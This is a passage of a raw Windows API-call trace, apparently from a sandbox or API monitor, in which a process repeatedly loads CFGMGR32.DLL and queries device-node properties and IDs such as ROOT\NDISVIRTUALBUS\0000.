lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.477] malloc (_Size=0x18) returned 0x196ef0d1960 [0231.478] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.478] malloc (_Size=0x48) returned 0x196ef0fbc20 [0231.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6ad391b6, dwHighDateTime=0x1d9eb0c)) [0231.478] SetEvent (hEvent=0x248) returned 1 [0231.480] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.480] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.483] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0231.483] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.484] malloc (_Size=0x48) returned 0x196ef0fbc20 [0231.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6ad391b6, dwHighDateTime=0x1d9eb0c)) [0231.484] SetEvent (hEvent=0x248) returned 1 [0231.552] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.552] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.554] malloc (_Size=0x18) returned 0x196ef0d2080 [0231.555] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0231.555] malloc (_Size=0x48) returned 0x196ef0fbae0 [0231.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6adf7c75, dwHighDateTime=0x1d9eb0c)) [0231.555] SetEvent (hEvent=0x248) returned 1 [0231.559] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.559] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.562] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0231.562] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.564] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0231.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6adf7c75, dwHighDateTime=0x1d9eb0c)) [0231.564] SetEvent (hEvent=0x248) returned 1 [0231.568] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.568] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.571] malloc (_Size=0x18) returned 0x196ef0d1de0 [0231.571] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x36, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0231.571] malloc (_Size=0x48) returned 0x196ef0fb220 [0231.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6ae1def9, dwHighDateTime=0x1d9eb0c)) [0231.572] SetEvent (hEvent=0x248) returned 1 [0231.575] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.575] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.578] malloc (_Size=0x18) returned 0x196ef0d1b40 [0231.578] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x36, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0231.578] malloc (_Size=0x48) returned 0x196ef0fbb30 [0231.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6ae1def9, dwHighDateTime=0x1d9eb0c)) [0231.578] SetEvent (hEvent=0x248) returned 1 [0231.581] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.581] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.586] malloc (_Size=0x18) returned 0x196ef0d1de0 [0231.586] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.586] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0231.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6ae44165, dwHighDateTime=0x1d9eb0c)) [0231.586] SetEvent (hEvent=0x248) returned 1 [0231.590] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.590] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.593] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0231.593] CM_Get_Device_IDA (in: dnDevInst=0x37, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\NDISVIRTUALBUS\\0000") returned 0x0 [0231.593] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0231.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6ae44165, dwHighDateTime=0x1d9eb0c)) [0231.593] SetEvent (hEvent=0x248) returned 1 [0231.646] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.647] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.647] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.647] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.647] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.647] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.647] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.649] GetProcAddress 